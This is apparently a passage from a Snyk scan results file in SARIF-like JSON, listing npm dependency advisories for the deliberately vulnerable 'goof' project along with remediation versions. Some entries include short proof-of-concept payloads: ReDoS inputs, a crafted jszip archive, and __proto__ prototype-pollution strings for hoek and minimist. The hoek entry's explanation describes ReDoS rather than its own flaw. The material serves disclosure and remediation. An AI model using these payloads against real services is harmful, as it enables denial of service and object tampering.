total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `hawk` to version 9.0.1 or higher.\n# References\n- [GitHub Commit](https://github.com/mozilla/hawk/pull/286/commits/ade134119bf1fdc4909d00f5a952c966f0075ad3)\n- [GitHub PR](https://github.com/mozilla/hawk/pull/286)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-1333", + "npm" + ], + "cvssv3_baseScore": 7.4, + "security-severity": "7.4" + } + }, + { + "id": "npm:negotiator:20160616", + "shortDescription": { + "text": "High severity - Regular Expression Denial of Service (ReDoS) vulnerability in negotiator" + }, + "fullDescription": { + "text": "(CVE-2016-10539) negotiator@0.5.3" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: negotiator\n* Introduced through: goof@1.0.1, express@4.12.4 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › express@4.12.4 › accepts@1.2.13 › negotiator@0.5.3\n* _Introduced through_: goof@1.0.1 › errorhandler@1.2.0 › accepts@1.1.4 › negotiator@0.4.9\n* _Introduced through_: goof@1.0.1 › st@0.2.4 › negotiator@0.2.8\n# Overview\n\n[negotiator](https://npmjs.org/package/negotiator) is an HTTP content negotiator for Node.js.\n\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS)\nwhen parsing `Accept-Language` http header.\n\n# Details\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\r\n\r\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\r\n\r\nLet’s take the following regular expression as an example:\r\n```js\r\nregex = /A(B|C+)+D/\r\n```\r\n\r\nThis regular expression accomplishes the following:\r\n- `A` The string must start with the letter 'A'\r\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\r\n- `D` Finally, we ensure this section of the string ends with a 'D'\r\n\r\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\r\n\r\nIt most cases, it doesn't take very long for a regex engine to find a match:\r\n\r\n```bash\r\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\r\n0.04s user 0.01s system 95% cpu 0.052 total\r\n\r\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\r\n1.79s user 0.02s system 99% cpu 1.812 total\r\n```\r\n\r\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\r\n\r\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\r\n\r\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\r\n1. CCC\r\n2. CC+C\r\n3. C+CC\r\n4. C+C+C.\r\n\r\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\r\n\r\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\r\n\r\n| String | Number of C's | Number of steps |\r\n| -------|-------------:| -----:|\r\n| ACCCX | 3 | 38\r\n| ACCCCX | 4 | 71\r\n| ACCCCCX | 5 | 136\r\n| ACCCCCCCCCCCCCCX | 14 | 65,553\r\n\r\n\r\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\n\nUpgrade `negotiator` to version 0.6.1 or higher.\n\n\n# References\n\n- [GitHub Commit](https://github.com/jshttp/negotiator/commit/26a05ec15cf7d1fa56000d66ebe9c9a1a62cb75c)\n\n- [OSWAP Advisory](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-400", + "npm" + ], + "cvssv3_baseScore": 7.5, + "security-severity": "7.5" + } + }, + { + "id": "SNYK-JS-JSZIP-1251497", + "shortDescription": { + "text": "Medium severity - Denial of Service (DoS) vulnerability in jszip" + }, + "fullDescription": { + "text": "(CVE-2021-23413) jszip@3.2.2" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: jszip\n* Introduced through: goof@1.0.1, snyk@1.290.2 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-nuget-plugin@1.16.0 › jszip@3.2.2\n# Overview\n[jszip](https://www.npmjs.org/package/jszip) is a Create, read and edit .zip files with JavaScript http://stuartk.com/jszip\n\nAffected versions of this package are vulnerable to Denial of Service (DoS). Crafting a new zip file with filenames set to Object prototype values (e.g `__proto__,` `toString`, etc) results in a returned object with a modified prototype instance.\r\n\r\n## PoC\r\n```\r\nconst jszip = require('jszip');\r\n\r\nasync function loadZip() {\r\n// this is a raw buffer of demo.zip containing 2 empty files:\r\n// - \"file.txt\"\r\n// - \"toString\"\r\nconst demoZip = Buffer.from('UEsDBBQACAAIANS8kVIAAAAAAAAAAAAAAAAIACAAdG9TdHJpbmdVVA0AB3Bje2BmY3tgcGN7YHV4CwABBPUBAAAEFAAAAAMAUEsHCAAAAAACAAAAAAAAAFBLAwQUAAgACADDvJFSAAAAAAAAAAAAAAAACAAgAGZpbGUudHh0VVQNAAdPY3tg4FJ7YE9je2B1eAsAAQT1AQAABBQAAAADAFBLBwgAAAAAAgAAAAAAAABQSwECFAMUAAgACADUvJFSAAAAAAIAAAAAAAAACAAgAAAAAAAAAAAApIEAAAAAdG9TdHJpbmdVVA0AB3Bje2BmY3tgcGN7YHV4CwABBPUBAAAEFAAAAFBLAQIUAxQACAAIAMO8kVIAAAAAAgAAAAAAAAAIACAAAAAAAAAAAACkgVgAAABmaWxlLnR4dFVUDQAHT2N7YOBSe2BPY3tgdXgLAAEE9QEAAAQUAAAAUEsFBgAAAAACAAIArAAAALAAAAAAAA==', 'base64');\r\n\r\nconst zip = await jszip.loadAsync(demoZip);\r\nzip.files.toString(); // this will throw\r\nreturn zip;\r\n}\r\nloadZip();\r\n```\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n# Remediation\nUpgrade `jszip` to version 3.7.0 or higher.\n# References\n- [GitHub Commit](https://github.com/Stuk/jszip/commit/22357494f424178cb416cdb7d93b26dd4f824b36)\n- [GitHub Issue](https://github.com/Stuk/jszip/issues/762)\n- [GitHub PR](https://github.com/Stuk/jszip/pull/766)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-400", + "npm" + ], + "cvssv3_baseScore": 5.3, + "security-severity": "5.3" + } + }, + { + "id": "SNYK-JS-GLOBPARENT-1016905", + "shortDescription": { + "text": "Medium severity - Regular Expression Denial of Service (ReDoS) vulnerability in glob-parent" + }, + "fullDescription": { + "text": "(CVE-2020-28469) glob-parent@2.0.0" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: glob-parent\n* Introduced through: goof@1.0.1, tap@5.8.0 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › test-exclude@1.1.0 › micromatch@2.3.8 › parse-glob@3.0.4 › glob-base@0.3.0 › glob-parent@2.0.0\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › micromatch@2.3.8 › parse-glob@3.0.4 › glob-base@0.3.0 › glob-parent@2.0.0\n# Overview\n[glob-parent](https://www.npmjs.com/package/glob-parent) is a package that helps extracting the non-magic parent path from a glob string.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The `enclosure` regex used to check for strings ending in enclosure containing path separator.\r\n\r\n## PoC by Yeting Li\r\n```\r\nvar globParent = require(\"glob-parent\")\r\nfunction build_attack(n) {\r\nvar ret = \"{\"\r\nfor (var i = 0; i < n; i++) {\r\nret += \"/\"\r\n}\r\n\r\nreturn ret;\r\n}\r\n\r\nglobParent(build_attack(5000));\r\n```\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `glob-parent` to version 5.1.2 or higher.\n# References\n- [GitHub PR](https://github.com/gulpjs/glob-parent/pull/36)\n- [GitHub Release](https://github.com/gulpjs/glob-parent/releases/tag/v5.1.2)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-400", + "npm" + ], + "cvssv3_baseScore": 5.3, + "security-severity": "5.3" + } + }, + { + "id": "npm:moment:20161019", + "shortDescription": { + "text": "Medium severity - Regular Expression Denial of Service (ReDoS) vulnerability in moment" + }, + "fullDescription": { + "text": "moment@2.15.1" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: moment\n* Introduced through: goof@1.0.1 and moment@2.15.1\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › moment@2.15.1\n# Overview\r\n[`moment`](https://www.npmjs.com/package/moment) is a lightweight JavaScript date library for parsing, validating, manipulating, and formatting dates.\r\n\r\nAffected versions of the package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks for any locale that has separate format and standalone options and `format` input can be controlled by the user.\r\n\r\nAn attacker can provide a specially crafted input to the `format` function, which nearly matches the pattern being matched. This will cause the regular expression matching to take a long time, all the while occupying the event loop and preventing it from processing other requests and making the server unavailable (a Denial of Service attack).\r\n\r\n# Disclosure Timeline\r\n- October 19th, 2016 - Reported the issue to package owner.\r\n- October 19th, 2016 - Issue acknowledged by package owner.\r\n- October 24th, 2016 - Issue fixed and version `2.15.2` released.\r\n\r\n# Details\r\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\r\n\r\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\r\n\r\nLet’s take the following regular expression as an example:\r\n```js\r\nregex = /A(B|C+)+D/\r\n```\r\n\r\nThis regular expression accomplishes the following:\r\n- `A` The string must start with the letter 'A'\r\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\r\n- `D` Finally, we ensure this section of the string ends with a 'D'\r\n\r\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\r\n\r\nIt most cases, it doesn't take very long for a regex engine to find a match:\r\n\r\n```bash\r\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\r\n0.04s user 0.01s system 95% cpu 0.052 total\r\n\r\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\r\n1.79s user 0.02s system 99% cpu 1.812 total\r\n```\r\n\r\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\r\n\r\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\r\n\r\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\r\n1. CCC\r\n2. CC+C\r\n3. C+CC\r\n4. C+C+C.\r\n\r\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\r\n\r\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\r\n\r\n| String | Number of C's | Number of steps |\r\n| -------|-------------:| -----:|\r\n| ACCCX | 3 | 38\r\n| ACCCCX | 4 | 71\r\n| ACCCCCX | 5 | 136\r\n| ACCCCCCCCCCCCCCX | 14 | 65,553\r\n\r\n\r\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\r\n\r\n\r\n# References\r\n- [Proof of concept](https://gist.github.com/grnd/50192ce22681848a7de812d95241b7fc)\r\n- [Fix commit](https://github.com/moment/moment/commit/663f33e333212b3800b63592cd8e237ac8fabdb9)" + }, + "properties": { + "tags": [ + "security", + "CWE-400", + "npm" + ], + "cvssv3_baseScore": 5.9, + "security-severity": "5.9" + } + }, + { + "id": "npm:hoek:20180212", + "shortDescription": { + "text": "Medium severity - Prototype Pollution vulnerability in hoek" + }, + "fullDescription": { + "text": "(CVE-2018-3728) hoek@0.9.1" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: hoek\n* Introduced through: goof@1.0.1, tap@5.8.0 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › codecov.io@0.1.6 › request@2.42.0 › hawk@1.1.1 › boom@0.4.2 › hoek@0.9.1\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › codecov.io@0.1.6 › request@2.42.0 › hawk@1.1.1 › hoek@0.9.1\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › codecov.io@0.1.6 › request@2.42.0 › hawk@1.1.1 › cryptiles@0.2.2 › boom@0.4.2 › hoek@0.9.1\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › codecov.io@0.1.6 › request@2.42.0 › hawk@1.1.1 › sntp@0.2.4 › hoek@0.9.1\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › coveralls@2.13.3 › request@2.79.0 › hawk@3.1.3 › cryptiles@2.0.5 › boom@2.10.1 › hoek@2.16.3\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › coveralls@2.13.3 › request@2.79.0 › hawk@3.1.3 › boom@2.10.1 › hoek@2.16.3\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › coveralls@2.13.3 › request@2.79.0 › hawk@3.1.3 › hoek@2.16.3\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › coveralls@2.13.3 › request@2.79.0 › hawk@3.1.3 › sntp@1.0.9 › hoek@2.16.3\n# Overview\n[hoek](https://github.com/hapijs/hoek) is an Utility methods for the hapi ecosystem.\n\nAffected versions of this package are vulnerable to Prototype Pollution. The utilities function allow modification of the `Object` prototype. If an attacker can control part of the structure passed to this function, they could add or modify an existing property. \r\n\r\n# PoC by Olivier Arteau (HoLyVieR)\r\n```js\r\nvar Hoek = require('hoek');\r\nvar malicious_payload = '{\"__proto__\":{\"oops\":\"It works !\"}}';\r\n\r\nvar a = {};\r\nconsole.log(\"Before : \" + a.oops);\r\nHoek.merge({}, JSON.parse(malicious_payload));\r\nconsole.log(\"After : \" + a.oops);\r\n\r\n```\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `hoek` to version 4.2.1, 5.0.3 or higher.\n# References\n- [GitHub Commit](https://github.com/hapijs/hoek/commit/32ed5c9413321fbc37da5ca81a7cbab693786dee)\n- [GitHub Commit](https://github.com/hapijs/hoek/commit/5aed1a8c4a3d55722d1c799f2368857bf418d6df)\n- [GitHub Issue](https://github.com/hapijs/hoek/issues/230)\n- [GitHub PR](https://github.com/hapijs/hoek/pull/227)\n- [HackerOne Report](https://hackerone.com/reports/310439)\n- [NPM Security Advisory](http://npmjs.com/advisories/566)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-1321", + "npm" + ], + "cvssv3_baseScore": 6.3, + "security-severity": "6.3" + } + }, + { + "id": "SNYK-JS-MINIMIST-559764", + "shortDescription": { + "text": "Medium severity - Prototype Pollution vulnerability in minimist" + }, + "fullDescription": { + "text": "(CVE-2020-7598) minimist@1.2.0" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: minimist\n* Introduced through: goof@1.0.1, tap@5.8.0 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › coveralls@2.13.3 › minimist@1.2.0\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/update-notifier@2.5.1-rc2 › latest-version@3.1.0 › package-json@4.0.1 › registry-url@3.1.0 › rc@1.2.8 › minimist@1.2.0\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/update-notifier@2.5.1-rc2 › latest-version@3.1.0 › package-json@4.0.1 › registry-auth-token@3.4.0 › rc@1.2.8 › minimist@1.2.0\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › mkdirp@0.5.1 › minimist@0.0.8\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › caching-transform@1.0.1 › mkdirp@0.5.1 › minimist@0.0.8\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › find-cache-dir@0.1.1 › mkdirp@0.5.1 › minimist@0.0.8\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › spawn-wrap@1.2.3 › mkdirp@0.5.1 › minimist@0.0.8\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › istanbul@0.4.3 › mkdirp@0.5.1 › minimist@0.0.8\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › istanbul@0.4.3 › handlebars@4.0.5 › optimist@0.6.1 › minimist@0.0.10\n# Overview\n[minimist](https://www.npmjs.com/package/minimist) is a parse argument options module.\n\nAffected versions of this package are vulnerable to Prototype Pollution. The library could be tricked into adding or modifying properties of `Object.prototype` using a `constructor` or `__proto__` payload.\r\n\r\n# PoC by Snyk\r\n```\r\nrequire('minimist')('--__proto__.injected0 value0'.split(' '));\r\nconsole.log(({}).injected0 === 'value0'); // true\r\n\r\nrequire('minimist')('--constructor.prototype.injected1 value1'.split(' '));\r\nconsole.log(({}).injected1 === 'value1'); // true\r\n```\n\n# Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n## Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n## Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n# Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
